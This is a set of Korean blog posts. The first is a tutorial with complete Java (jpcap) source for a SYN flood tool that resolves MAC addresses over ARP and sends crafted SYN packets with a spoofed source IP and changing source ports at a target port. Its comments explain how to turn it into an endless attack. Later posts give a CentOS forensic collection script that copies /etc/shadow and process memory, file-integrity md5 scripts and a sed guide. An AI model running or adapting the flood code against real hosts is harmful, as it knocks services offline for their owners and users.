 checksum은  메소드로 만들어 계속  불러와 쓸 수 있도록 만들어놓으세요. 저는 메소드 인자로 채크섬에 들어갈 배열 이름과 크기를 지정했습니다. 그래서 채크섬 메소드를 불러오기전에 채크섬에 들어갈 목록들을 배열로 따로 지정해놓는 방법을 택했습니다. 소스 보면서 참고하세요

TCP에서는  헷갈리는 부분이 있는데, 중요한 것입니다 
Source port : 이것을 계속 증가시켜 주어야 합니다 well known port는 서비스를 제공하는 쪽이니까 기왕이면  source port 2바이트중 첫번째 바이트를 증가시켜 256의 배수로 증가되게 해줍니다 . 명심하세요.    source포트는 패킷 하나 마다 각각 달라야 합니다 그래야 공격 대상에서 백로그 큐에 쭉 올리게 됩니다 

destination port : 당연 공격자가 콘솔에서 입력한 공격대상 포트가 지정될 수 있게 셋팅

sequence & ack  number : 헷갈리는 부분인데, 지금 공격은 단방향 일회성 패킷을 사용한  반복 공격이기 때문에 sequence와 ack number 필드는 신경쓰지 않으셔도 됩니다. 그냥 전 0으로 셋팅.

Header Length(4bit) + Reserve(6bit) + Flags(4bit)   :  이 2바이트 필드에서 header Length는 4bit로서 IP headerLength와 같이 셋팅된 4bit값에 5배수에 해당하는 값이 TCP header  length고 이로 인해서 TCP data의 위치를 알 수 있어    data offset이라고 합니다 
또한 reserve(6bit) 필드는 0으로 냅두고 우리가 가장 신경써야한 flags 필드 4자리 중 오른쪽에서 2번째 자리의 값을 1로 셋팅합니다 이것이 SYN flag 셋팅!!!!

windows사이즈는 기본 512로 놔둡니다. 

checksum은  이전에 올렸던 글을 참고하시면 가짜헤더 +  TCP header 해서 채크섬 메소드에 집어넣으면 값이 나옵니다. 

마지막으로 urgent point가 있는데 이것은 urgent flag가 셋팅되어있을 시 참고하는 offset으로써 우리가 사용하는 flag와는 상관없으므로 0으로 셋팅

======================================================================================
소스 
-------------synflood.java--------------------------------------------------------------------------------------------------------------
/*   
 * This is Version 1.0   
 *  1. Source IP is STATIC. not a Rand-source............ if you want rand-source..... wait... V2.0 or use hping!
 *  2. Interver is u1000  ..STATIC
 *  3. Command Format :
 *   Same Network         : synflood <TatgetIP> <portnumber>
 *     Different Network : synflood <TargetIP> <GatewayIP> <portnumber>
 *                                                                                                                 by 유창훈       
 */

import java.util.Scanner;
import jpcap.*;
import java.net.URL;
import java.util.Arrays;

import jpcap.packet.*;
import java.net.InetAddress;

import jpcap.NetworkInterfaceAddress;

//import javax.swing.*;
public class synflood {
public static byte[] gwMac = new byte[6];  //게이트웨이 맥주소
public static byte[] TarMac = new byte[6]; //target 맥주소
public static byte[] myMac = new byte[6];  //공격자 맥주소
public static int arg=0;   //공격자가 명령수행시 입력한 인자갯수 저장
public static byte[] GwIp = new byte[6];  //게이트웨이 IP
public static byte[] TarIp = new byte[6]; //target IP
public static int device=0;  //공격자의 인터페이스 번호저장
public static int numP=0;    //공격자가 명령수행시 지정한 포트번호
public static int once=0;  //정보수집이 끝나고 syn공격시작을 알리는 flag, 
// 0이면 정보수집 미완료 1이면 정보수집완료, 공격시작,   2이면 공격 끝
public static void main(String[] args) throws java.io.IOException {
if (args.length !=2 && args.length !=3) {
System.out.println("Usage: 'java synflood <TargetIP> <portNumber> 'or   'java synflood <TargetIP> <GatewayIP> <portNumber>' ");
System.exit(0);
} else {

arg=args.length;
// Jpcap initstatic
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
// list display
for (int i = 0; i < devices.length; i++)
System.out.println(i + ":" + devices[i].name + "("
+ devices[i].description + ")");

// select interface
System.out.print("\n=================================\nSelect Your Network Interface => ");
Scanner scan = new Scanner(System.in);
device = scan.nextInt();
//get My IP  & MAC  auto,...
byte[] myIp = new byte[4];
myMac = new byte[6];
for (NetworkInterfaceAddress a : devices[device].addresses){
InetAddress intaddr = a.address;
System.out.print("\n Getting Your  IP and MAC\n ");
myIp = intaddr.getAddress();
myMac = devices[device].mac_address;
break;                       ////just one time 
}
// capture start
// 일단 캡쳐스레드를 먼저 돌려놓고  타겟 or gw의 맥주소를 얻기 위해  arp request패킷을 보낸다.
Dump_for_thread t = new Dump_for_thread();
Thread thd1 = new Thread(t);
thd1.start();
try {        //just wait.. because interval..no reasonrseinInt
      Thread.sleep(2 * 1000);
    } catch (InterruptedException e) { }
    
  //Target IP setting 
    TarIp = InetAddress.getByName(args[0]).getAddress();

    //입력 인자갯수에따라 변수 다르게 지정
    if(arg==2)  
    {
    
     String str = args[1];
     numP = Integer.parseInt(str);
    }
    
    
    if(arg==3)  
    {
     GwIp = InetAddress.getByName(args[1]).getAddress();
     String str = args[2];
     numP = Integer.parseInt(str);
    }
    
       
 
    //ARP request 패킷 보내기 
        // sender init
JpcapSender sender = JpcapSender.openDevice(devices[device]);
// make raw packet
Packet sendPack = new Packet();
byte pb[] = new byte[64];
// Dst Mac
pb[0] = (byte)0xff;
pb[1] = (byte)0xff;
pb[2] = (byte)0xff;
pb[3] = (byte)0xff;
pb[4] = (byte)0xff;
pb[5] = (byte)0xff;
// Src_Mac

pb[6] = myMac[0];
pb[7] = myMac[1];
pb[8] = myMac[2];
pb[9] = myMac[3];
pb[10] = myMac[4];
pb[11] = myMac[5];
// Ether Type(byte)(cksum(IPHeader,((pb[14] & 0x0f) * 4))>>8);
pb[12] = (byte) 0x08;
pb[13] = (byte) 0x06;
////////////////////////////////////////////////////////////         ARP
// Hardware type
pb[14] = (byte) 0x00;
pb[15] = (byte) 0x01;
// Protocol Type//
pb[16] = (byte) 0x08;
pb[17] = (byte) 0x00;
// Hardware address size = Hardware length(Hlen) = Mac address size
// = 6byte
pb[18] = (byte) 0x06;
// Porotocol size= ip address size = 4byte
pb[19] = (byte) 0x04;
// opcode Request = 1, reply =2
pb[20] = (byte) 0x00;
pb[21] = (byte) 0x01;

// sender hardware address
pb[22] = myMac[0];
pb[23] = myMac[1];
pb[24] = myMac[2];
pb[25] = myMac[3];
pb[26] = myMac[4];
pb[27] = myMac[5];

// sender IP address
pb[28] = myIp[0];
pb[29] = myIp[1];
pb[30] = myIp[2];
pb[31] = myIp[3];
// Target Hardware address
pb[32] = 0;
pb[33] = 0;
pb[34] = 0;
pb[35] = 0;
pb[36] = 0;
pb[37] = 0;
// target Ip address   인자가 두개 즉, 타겟IP와 port번호일때는 target로 ARP보냄
if(arg==2)
{
pb[38] = TarIp[0];
pb[39] = TarIp[1];
pb[40] = TarIp[2];
pb[41] = TarIp[3];
}
// target Ip address   인자가 세개 즉, 타겟IP와 gwIP 와 port번호일때는 gw로 ARP보냄
if(arg==3)
{
pb[38] = GwIp[0];
pb[39] = GwIp[1];
pb[40] = GwIp[2];
pb[41] = GwIp[3];
}
sendPack.data = pb;
sender.sendPacket(sendPack);
sender.close();
}
}
}
-------------dump.java-----------------------------------------------------------------------------------------------------------------
import java.io.IOException;

import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.PacketReceiver;
import jpcap.packet.Packet;
import jpcap.NetworkInterfaceAddress;

class dump implements PacketReceiver
{
public void receivePacket(Packet p) 
{
//캡쳐된 패킷은 bytes라는 배열에 저장
byte[] bytes = new byte[p.header.length + p.data.length];
System.arraycopy(p.header, 0, bytes, 0, p.header.length);
System.arraycopy(p.data, 0, bytes, p.header.length, p.data.length);
//아까 위에서 캡쳐 스레드를 먼저 돌려놓고 기다리다가  인자갯수가 2(targetIP, portN) 일때 target //으로 부터 오는 arp REPLY를 잡아서 target의 MAC주소를 저장한다
if (synflood.arg==2 &&
bytes[28] == (byte)synflood.TarIp[0] &&
bytes[29] == (byte)synflood.TarIp[1] &&
bytes[30] == (byte)synflood.TarIp[2] &&
bytes[31] == (byte)synflood.TarIp[3] &&
bytes[21] ==(byte)0x02)
{
System.out.print("\n Getting the Target MAC\n ");
synflood.TarMac[0]=bytes[22];
synflood.TarMac[1]=bytes[23];
synflood.TarMac[2]=bytes[24];
synflood.TarMac[3]=bytes[25];
synflood.TarMac[4]=bytes[26];
synflood.TarMac[5]=bytes[27];
synflood.once=1;                //정보수집이 끝나고 syn공격시작을 알리는 flag
}
//마찬가지로 인자 갯수가 3개(targetIP, gatewayIP , port N)일때 gw로 부터 오는 ARP REPLY를 
//잡아서 gw의 MAC주소 저장
if (synflood.arg==3 &&
bytes[28] == (byte)synflood.GwIp[0] &&
bytes[29] == (byte)synflood.GwIp[1] &&
bytes[30] == (byte)synflood.GwIp[2] &&
bytes[31] == (byte)synflood.GwIp[3] &&
bytes[21] ==(byte)0x02)
{
System.out.print("\n Getting the gateway MAC\n ");
synflood.gwMac[0]=bytes[22];
synflood.gwMac[1]=bytes[23];
synflood.gwMac[2]=bytes[24];
synflood.gwMac[3]=bytes[25];
synflood.gwMac[4]=bytes[26];
synflood.gwMac[5]=bytes[27];
synflood.once=1;
}

///정보수집 완료되었으면 공격시작 
if(synflood.once == 1)
{
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
ck c =new ck();
JpcapSender sender = null;
try {
sender = JpcapSender.openDevice(devices[synflood.device]);
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
// make raw packet
Packet sendPack = new Packet();
//패킷 크기 54byte  , IP 구성 필드에서 total length가 40, 즉 , 40 + ether header (14) 는 54임
byte pb[] = new byte[54];
// Dst Mac
pb[0] = synflood.gwMac[0];
pb[1] = synflood.gwMac[1];
pb[2] = synflood.gwMac[2];
pb[3] = synflood.gwMac[3];
pb[4] = synflood.gwMac[4];
pb[5] = synflood.gwMac[5];
// Src_Mac

pb[6] = synflood.myMac[0];
pb[7] = synflood.myMac[1];
pb[8] = synflood.myMac[2];
pb[9] = synflood.myMac[3];
pb[10] = synflood.myMac[4];
pb[11] = synflood.myMac[5];
// Ether Type(byte)(cksum(IPHeader,((pb[14] & 0x0f) * 4))>>8);
pb[12] = (byte) 0x08;
pb[13] = (byte) 0x00;
////////////////////////////////////////////////////////////           IP
// Header Ver, Length
pb[14] = (byte) 0x45;
//TOS
pb[15] = (byte) 0x00;
// Total Length       
pb[16] = (byte) 0x00;
pb[17] = (byte) 0x28;
// ID
pb[18] = (byte) 0xd3;
pb[19] = (byte) 0xc8;
// Flags, Fragment offset
pb[20] = (byte) 0x00;
pb[21] = (byte) 0x00;
//TTL
pb[22] = (byte) 0x80;
//Protocol tcp 6 udp 17
pb[23] = (byte) 0x06;
//Header Checksum
pb[24] = 0;
pb[25] = 0;
//source IP
pb[26] = (byte)0x64;
pb[27] = (byte)0x64;
pb[28] = (byte)0x64;
pb[29] = (byte)0x64;
//Dst IP
pb[30] = synflood.TarIp[0];
pb[31] = synflood.TarIp[1];
pb[32] = synflood.TarIp[2];
pb[33] = synflood.TarIp[3];
byte IPHeader[] = new byte[20];
for(int i=0; i<((pb[14] & 0x0f) * 4); i++)
IPHeader[i] = pb[i+14];
pb[24] = (byte)(c.cksum(IPHeader,((pb[14] & 0x0f) * 4))>>8);
pb[25] = (byte)(c.cksum(IPHeader,((pb[14] & 0x0f) * 4)));
////////////////////////////////////////////////////////  TCP
//source port
pb[34] =  0;
pb[35] =  0;
//des port
pb[36] = (byte)((synflood.numP & 0x0000ff00)>>8) ;
pb[37] = (byte)((synflood.numP & 0x000000ff));
//Sequence Number
pb[38] = 0;
pb[39] = 0;
pb[40] = 0;
pb[41] = 0;
//ack number
pb[42] = 0;
pb[43] = 0;
pb[44] = 0;
pb[45] = 0;
//Header Length(4bit) + Reserve(6bit) + Flags(4bit) 
pb[46] = (byte)0x50;     // 0101 000000 0010          =  header(5)  , reserve(0), Synflag(2)         
pb[47] = (byte)0x02;      //Syn flag 채크
//Windows size
pb[48] = (byte)0x02;
pb[49] = (byte)0x00;
//checksum
pb[50] = 0;
pb[51] = 0;
//urgent pointer
pb[52] = 0;
pb[53] = 0;
//Checksum      채크섬 함수로 넘기기 위한 배열선언
byte TCPHeader[] = new byte[32];

//pesudo header을 위한 셋팅     가짜 헤더 구성요소는 이전 글 참고 
for(int i=0; i<8; i++)
{
TCPHeader[i] = pb[i+26];
}
TCPHeader[8]=(byte)0x00;       
TCPHeader[9]=pb[23];
TCPHeader[10]=0;
TCPHeader[11]=(byte)0x14;
/////////////////////////////////  요기가지가 가짜 헤더
///////////  여기부터 TCP해더 정보를 채크섬 메소드를 위해 생성된 배열에 저장하는 부분
for(int i=0; i<20; i++)
{
TCPHeader[12+i]=pb[34+i];
}

 /////////패킷 송신부분! 256번만 루프 돌았음 즉, 256개만 쭉 보내고 끝냈음
//// 진짜 공격을 위해서는 0.001 초에 한번씩 패킷을 보내는 무한 루프를 걸어주면됨, 
// 슬립걸고 간격조정하면 됨여기선 그냥 256개만 보내고 원격지 컴퓨터에서 netstat -an 으로 테이블 확인
//했음

for (int i = 0; i < 256; i++)
{
/// 중요한 공격자가 소스포트를 변경시켜가며 공격하는 부분
pb[34]= (byte)i;
// 채크섬메소드에도 넘겨줘야하기때문에 
TCPHeader[12]=(byte)i;

pb[50]=(byte)(ck.cksum(TCPHeader,32) >>8);
pb[51]=(byte)(ck.cksum(TCPHeader,32));
sendPack.data = pb;
sender.sendPacket(sendPack);
}
sender.close();
synflood.once=2;
}
}
}
-------------dump_for_thread.java---------------------------------------------------------------------------------------------------
import jpcap.*;
import java.io.IOException;


public class Dump_for_thread implements Runnable{
public void run(){
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
JpcapCaptor jpcap = null;
try {
jpcap = JpcapCaptor.openDevice(devices[0], 2000, true, 1);
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
jpcap.loopPacket(-1, new dump());
}
}

-------------ck.java---------------------------------------------------------------------------------------------------------------------
/// 채크섬 메소드는 이전 글에서 소스 설명해놓은게 있음 ..그거 참고하세요
//단순히 기존에 제가 예전에 구현한 소스를 메소드화 시켰을 뿐입니다. 

public class ck {

public static short cksum(byte[] buf, int len) {

int sum = 0;
int x = 0;
int cmask = 0xffff0000;
byte temp = 0;
short CK = 0;

for (int i = 0; i < len; i++) {
sum = (((int) buf[i]) << 8) & 0xFF00 | ((int) buf[i+1])&0xFF;
x = x + sum; 
i += 1;
}
temp = (byte) ((x & cmask) >> 16);
CK = (short) ~(x + temp);
return CK;
}
}

이상으로 소스 설명을 마치겠습니다.  영어와 한글로 주석이 있으니 참고하시구요
궁금하신부분은 질문주세요

프로그램 보완해야할 점
: 1. 커맨드 입력환경에서 인자갯수로 공격대상자가 로컬인지 원격지인지를 구별하는 과정. 
2. 인자의 입력시, 단순 띄어쓰기 로 구분하였는데, 옵션 플레그를 추가해야함
3. 무한반복구현시 , time interval 을 조절할 수 있도록 하는 부분 


AND

################################################################
################################################################
#             CENTOS
#           휘발성 및 비-휘발성 시스템 정보 저장하는 스크립트
#

#!/bin/sh

## 자동화위한 변수
## 싱글쿼테이션, 더블쿼테이션으로 묶으면 안에 스트링 자체가 변수로 들어감
CAT_proc='cat /proc/'            
CAT_etc='cat /etc/'

## /proc 안에 프로세스번호로 할당된 디렉토리만을 DIR_PROC에 저장
## 백쿼테이션, 결과값이 DIR_PROC 변수로 들어감
DIR_PROC=`ls /proc | grep -v [a-z,A-Z] | sort -n`

## 프로세스별로 수집해야할 목록지정
PROC_V='cmdline environ maps stat statm status mem'


## area 배열의 루프를 위한 초기화
whilecount=0


########## STATIC COMMAND  ###############
## 시스템의 비휘발성정보 획득을 위한 명령어

area[0]="uname -a"
area[1]="fdisk -l"
area[2]="df -h"
area[3]="env"
area[4]="set"
area[5]="ps -ef"
area[6]="ifconfig -s"
area[7]="arp -n"
area[8]="netstat -rn"
area[9]="netstat -anlp"
area[10]="lsof -P -l -n"
#area[11]=""

# 명령어 갯수만큼 지정, area[11] 추가시 commandsize도 11로 수정
commandsize=10   
###############################



# 연 월 일
DATE_DIR=`date '+%Y_%m_%d'`
#시 분 초
DATE_DIR2=`date '+%H_%M_%S'`

#시스템정보저장을 위한 디렉토리생성

mkdir -p /BackUp/systemlog/$DATE_DIR


######################################################

echo " Please wait.... "


########################## /proc안에 존재하는 비휘발성정보저장
# /BackUp/systemlog/2011_07_18/11_23_24.dat 형식으로 저장
# 추가시 swaps 뒤에 추가
for var in cpuinfo version meminfo modules swaps
do
echo "COMMAND : ">> /BackUp/systemlog/$DATE_DIR/$DATE_DIR2.dat
echo "$CAT_proc$var" >> /BackUp/systemlog/$DATE_DIR/$DATE_DIR2.dat
echo "-------------------------------------------">> /BackUp/systemlog/$DATE_DIR/$DATE_DIR2.dat

$CAT_proc$var >> /BackUp/systemlog/$DATE_DIR/$DATE_DIR2.dat

echo "=============================================================================" >>/BackUp/systemlog/$DATE_DIR/$DATE_DIR2.dat
done

################# /etc 안에 존재하는 비휘발성 정보 저장
# 추가시 fstab뒤에 추가  
for var in hosts resolv.conf passwd shadow fstab issue
do
echo "COMMAND : ">> /BackUp/systemlog/$DATE_DIR/$DATE_DIR2.dat
echo "$CAT_etc$var" >> /BackUp/systemlog/$DATE_DIR/$DATE_DIR2.dat
echo "-------------------------------------------">> /BackUp/systemlog/$DATE_DIR/$DATE_DIR2.dat
$CAT_etc$var >> /BackUp/systemlog/$DATE_DIR/$DATE_DIR2.dat
echo "=============================================================================" >>/BackUp/systemlog/$DATE_DIR/$DATE_DIR2.dat
done


################ 명령어로 확인할 수 있는( area 배열에 저장된 ) 시스템 정보 저장

while [ $commandsize -gt $whilecount ] 
do
echo "COMMAND : ">> /BackUp/systemlog/$DATE_DIR/$DATE_DIR2.dat
echo ${area[$whilecount]} >> /BackUp/systemlog/$DATE_DIR/$DATE_DIR2.dat
echo "-------------------------------------------">> /BackUp/systemlog/$DATE_DIR/$DATE_DIR2.dat
${area[$whilecount]} >> /BackUp/systemlog/$DATE_DIR/$DATE_DIR2.dat
echo "=============================================================================" >>/BackUp/systemlog/$DATE_DIR/$DATE_DIR2.dat

let "whilecount+=1"
done


##########Process 별로 정보저장
echo "For Process....." >>/BackUp/systemlog/$DATE_DIR/$DATE_DIR2.dat

# /proc안에 있는 프로세스 목록을 차례로 루프
for var in $DIR_PROC
do
echo "** PRocess Number : $var" >> /BackUp/systemlog/$DATE_DIR/$DATE_DIR2.dat

# 각 프로세스별로 읽어들일 파일을 차례로 루프
for var2 in $PROC_V
do
echo "COMMAND : ">> /BackUp/systemlog/$DATE_DIR/$DATE_DIR2.dat
echo "$CAT_proc$var/$var2" >> /BackUp/systemlog/$DATE_DIR/$DATE_DIR2.dat

echo "-------------------------------------------">> /BackUp/systemlog/$DATE_DIR/$DATE_DIR2.dat
# 모든 프로세스마다 위에서 지정한 PROC_V 의 목록이 존재하는게 아니기 때문에, 에러메시지는 아래와같이 처리
$CAT_proc$var/$var2 >> /BackUp/systemlog/$DATE_DIR/$DATE_DIR2.dat 2>/dev/null

echo "=============================================================================" >>/BackUp/systemlog/$DATE_DIR/$DATE_DIR2.dat
done
done

echo "SUCCESS...... gogogo /BackUp/systemlog/"


AND

절대경로를 입력받아 해당 경로만 무결성채크 (하위디렉토리는 탐색안함)





###############  stat 의 access time을 제외하고 md5sum값을 파일별로 계산해서 
######        /BackUp/해당절대경로/날짜시간분초/   에 저장한다.

###            
해당디렉토리의 무결성채크를 위한 정보저장 코드

#!/bin/sh

echo "please 
절대경로!"
read DIR

DATE_DIR=`date '+%Y_%m_%d_%H_%M'`
mkdir -p /BackUp$DIR/$DATE_DIR


check(){
        
        for var in $D
        do
               stat $DIR/$var | grep -v 'Access: [0-9]' > /BackUp$DIR/$DATE_DIR/$var.check
               
               echo "md5sum : `md5sum $DIR/$var`" >> /BackUp$DIR/$DATE_DIR/$var.check
               echo "$DIR/$var ............ok"
        done    
}

D=`ls -l $DIR | grep -v '^d'| awk '{print $9}'`
check





절대경로를 입력받아 해당 경로 및 하위디렉토리까지 탐색 해서 정보저장

 

###############  stat 의 access time을 제외하고 md5sum값을 파일별로 계산해서 

######        /BackUp/해당절대경로/날짜시간분초/   에 저장한다.


###            해당디렉토리의 무결성채크를 위한 정보저장 코드


#!/bin/sh


echo "please 절대경로!"

read AB_DIR


DATE_DIR=`date '+%Y_%m_%d_%H_%M'`

mkdir -p /BackUp/MD5$AB_DIR


ALL_DIR=`ls -R $AB_DIR |grep '^/' | sed 's/:/ /g'`


        

for var in $ALL_DIR

do

FILE=`ls -l $var | grep -v '^d'| awk '{print $9}'`

mkdir -p /BackUp/MD5$var/$DATE_DIR/


for var2 in $FILE

do

         stat $var/$var2 | grep -v 'Access: [0-9]' > /BackUp/MD5$var/$DATE_DIR/$var2.check

  echo "md5sum : `md5sum $var/$var2`" >> /BackUp/MD5$var/$DATE_DIR/$var2.check

                echo "$var/$var2 ............ok"

done  

done             

AND


sed정리

작성자 유창훈

일반적인 입력 형식

# sed [옵션] ['영역과연산자와패턴의 조합'] [파일이름]

 

실제로 명령어 실행할땐 대괄호는 제거한다. 보기쉬우라고 적은것임

 

 

이걸 기억하자

sed명령어 뒤에 오는 인자들은 옵션, 영역(생략시전체영역), 패턴, 연산자, 데이터 로 구성되어진다.

 

sed '4q' data.txt; 영역, 연산자, 데이터

sed '/Pattern1/p' data.txt; 연산자, 패턴, 데이터

sed '/Pattern1/d' data.txt; 연산자, 패턴, 데이터

 

sed 's/Pattern1/Pattern2/' data.txt; 연산자, 패턴, 데이터 로 구성

sed 's/Pattern1/Pattern2/g' data.txt; 연산자, 패턴, 데이터 로 구성

 

sed '5,$s/Pattern1/Pattern2/' data.txt; 영역, 연산자 , 패턴, 데이터로 구성

sed '5,$s/Pattern1/Pattern2/g' data.txt; 영역, 연산자 , 패턴, 데이터로 구성

 

sed -n '1,5p' data.txt; 옵션, 영역, 연산자 , 데이터로 구성

 

이렇게 사용되는 명령어들을 리다이렉트 하거나, 파이프라인을 써서 넘기면된다.

 

어디에 옵션을쓰고 어디에

 

위에서도 보았겠지만 패턴이 존재할 때에 연산자는 영역과 패턴사이에 위치하거나 패턴 뒤에 위치한다.

아직까지 확실히 연산자와 패턴, 영역이 구분가지 않더라도 다음을 읽어나가보자.

 

연산자는 다음과 같다.

 

p (print) : 출력( 특정 줄이나 패턴에 대한 출력은 -n 옵션과 함께 사용)

s (switch) : 치환( 뒤에 치환패턴이 오면 반드시 써주어야 한다)

d (delete): 삭제

g (global): 전체영역( 보통 마지막에오며 패턴과일치하는 모든 데이터영역을 지칭,

치환패턴 에서 s 연산자 )

q (quit): 종료 (영역과함께 사용시 끝지점만 지정가능하다.)

 

 

연산자의 사용은 다음과 같다.

 

: /p, /s, /d, /g, /q 와같이 연산자가 / 앞에 붙여도 되고 / 뒤에 붙는 경우도 있다.

 

'4p' ;4번째 라인만 출력(앞에 -n 옵션과함께)

'4d'; 4번째 라인 지움

's/A/B/g'; 모든 A를 B로 치환

 

 

여기서 [옵션]은 다음과같다

 

-n: 뒤에오는 패턴과 일치하는 라인만 뒤에오는 연산자에 해당하는 동작을 하시오.

 

-e: 두개 이상의 패턴을 지정가능

 

 

 

영역지정

형식: 4= 뒤에 오는 연산자에 따라서 p가오면 4번째 라인만, q 가 오면 4번째 라인까지

1,10 = 1라인부터 10라인까지

1,$= 1부터 끝라인까지

 

 

패턴

패턴은 하나의 패턴당 /로 시작해서 / 로 끝나며 , 단일 패턴과 복수 패턴(치환패턴)으로 나눌 수 있다.

단일 패턴은 패턴이 하나란 말이고 단순히 /pattern1/ 이런식이다.

 

ex > sed '/pattern1/' data.txt 이렇게 하면 연산자가 없어서 실행이 안되겠지만, 의미는 다음과 같다

: [data.txt에서 pattern1 을 찾아서] 딱 이런뜻이다.

 

치환 패턴은 패턴이 두개란 말이고 s/pattern1/pattern2 이런식이다. 여기서 s연산자는 치환을 할때 치환패턴과 함께 꼭 같이 써주어야 하는 연산자다

 

ex > sed 's/pattern1/pattern2' data.txt

이렇게 하면 연산자가 없어서 실행이 안되겠지만, 의미는 다음과 같다

: data.txt에서 pattern1 을 찾아서 각 라pattern2로 바꾸시오 (여기서 바꾸시오란 뜻이 s 연산자의 뜻이다)

 

* sed 's/pattern1/pattern2' data.txt 이렇게만 쓰게 된다면, 각 라인별로 처음 나오는

pattern1만 pattern2로 바꾼다. 한 라인에 pattern1이 두 번 나오면 두 번째 pattern1은 pattern2로 바뀌지 않는다.

이때 해줄 수 있는것이 g 연산자이다. 그래서 g연산자는 pattern2 뒤에 오게 되는데, 의미는 글로벌하게이다.

 

 

여기서 sed 에서 옵션과 영역 패턴 연산자를 사용하는 방법은 논리적으로 직관적이기 때문에 먼저 말로 해보면 어려울 것이 없다.

일반적인 입력 형식은 다음과 같다

# sed [옵션] ['영역과연산자와패턴의 조합'] [파일이름]

 

여기서 ['영역과연산자와패턴의 조합'] 부분이 까다로울 것이다.

다음의 동작을 예를 들어보자

 

 

['어디서부터,어디까지/패턴1에대해/패턴2로/전부바꾼다.'] 라는 동작을

 

'1,$s/aaa/bbb/g' 다음과 같이 표현할 수 있다.

 

 

 

 

sed '4q' data.txt; 4번째 라인까지 data.txt의 내용을 출력하고 종료!

sed -n '/Pattern1/p' data.txt; Pattern1 을 포함하는 라인은 모두 출력

sed '/Pattern1/d' data.txt; Pattern1 을 포함하는 라인은 모두 삭제

 

sed 's/Pattern1/Pattern2/' data.txt

; Pattern1을 pattern2로 바꾸는데 각 줄당 처음나오는 pattern1만 pattern2로 바꿈

sed 's/Pattern1/Pattern2/g' data.txt

; Pattern1을 pattern2로 바꾸는데 모든 pattern1을 pattern2로 바꿈

 

sed '5,7s/Pattern1/Pattern2/' data.txt

; 1번째라인부터 7번째 라인까지 pattern1을 pattern2로 바꾸는데 각줄의 첫번째pattern1만바꿈

sed '5,7s/Pattern1/Pattern2/g' data.txt

; 1번째라인부터 7번째 라인까지 pattern1을 pattern2로 바꾸는데 모든 pattern1을 바꿈

 

sed -n '1,5p' data.txt; 1번째 라인부터 5번째라인까지 출력

 

 

 

AND